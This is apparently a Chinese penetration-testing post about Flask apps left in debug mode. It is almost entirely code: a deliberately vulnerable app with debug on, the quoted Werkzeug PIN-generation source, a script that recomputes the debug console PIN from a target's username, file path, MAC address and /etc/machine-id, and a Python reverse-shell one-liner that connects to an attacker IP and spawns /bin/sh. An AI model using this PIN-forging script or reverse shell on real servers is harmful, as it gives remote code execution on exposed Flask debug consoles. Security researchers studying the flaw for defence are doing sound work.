渗透系列之flask框架开启debug模式漏洞分析

from flask import Flask
app = Flask(__name__)@app.route('/')def hello_word():    return Noneif __name__ == '__main__':app.run(host='0.0.0.0', port=9003, debug=True)

 def get_pin_and_cookie_name(app):    """Given an application object this returns a semi-stable 9 digit pin    code and a random key.  The hope is that this is stable between    restarts to not make debugging particularly frustrating.  If the pin    was forcefully disabled this returns `None`.
    Second item in the resulting tuple is the cookie name for remembering.    """    pin = os.environ.get('WERKZEUG_DEBUG_PIN')    rv = None    num = None
    # Pin was explicitly disabled    if pin == 'off':        return None, None
    # Pin was provided explicitly    if pin is not None and pin.replace('-', '').isdigit():        # If there are separators in the pin, return it directly        if '-' in pin:            rv = pin        else:            num = pin
    modname = getattr(app, '__module__',                      getattr(app.__class__, '__module__'))
    try:        # `getpass.getuser()` imports the `pwd` module,        # which does not exist in the Google App Engine sandbox.        username = getpass.getuser()    except ImportError:        username = None
    mod = sys.modules.get(modname)
    # This information only exists to make the cookie unique on the    # computer, not as a security feature.    probably_public_bits = [        username,        modname,        getattr(app, '__name__', getattr(app.__class__, '__name__')),        getattr(mod, '__file__', None),    ]
    # This information is here to make it harder for an attacker to    # guess the cookie name.  They are unlikely to be contained anywhere    # within the unauthenticated debug page.    private_bits = [        str(uuid.getnode()),        get_machine_id(),    ]
    h = hashlib.md5()    for bit in chain(probably_public_bits, private_bits):        if not bit:            continue        if isinstance(bit, text_type):            bit = bit.encode('utf-8')        h.update(bit)    h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    # If we need to generate a pin we salt it a bit more so that we don't    # end up with the same value and generate out 9 digits    if num is None:        h.update(b'pinsalt')        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    # Format the pincode in groups of digits for easier remembering if    # we don't have a result yet.    if rv is None:        for group_size in 5, 4, 3:            if len(num) % group_size == 0:                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                              for x in range(0, len(num), group_size))                break        else:            rv = num
    return rv, cookie_name

for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, text_type):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')

probably_public_bits = [        username,        modname,        getattr(app, '__name__', getattr(app.__class__, '__name__')),        getattr(mod, '__file__', None),    ]
    private_bits = [        str(uuid.getnode()),        get_machine_id(),    ]

import hashlibfrom itertools import chainprobably_public_bits = [    'Administrator',# username    'flask.app',# modname    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))    'C:UsersAdministratorPycharmProjectssecurritystudyvenvlibsite-packagesflaskapp.py' # getattr(mod, '__file__', None),]
private_bits = [    '106611682152170',# str(uuid.getnode()),  /sys/class/net/ens33/address    b'6893142a-ab05-4293-86f9-89df10a4361b'# get_machine_id(), /etc/machine-id]
h = hashlib.md5()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None:    h.update(b'pinsalt')    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                          for x in range(0, len(num), group_size))            break    else:        rv = num
print(rv)

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);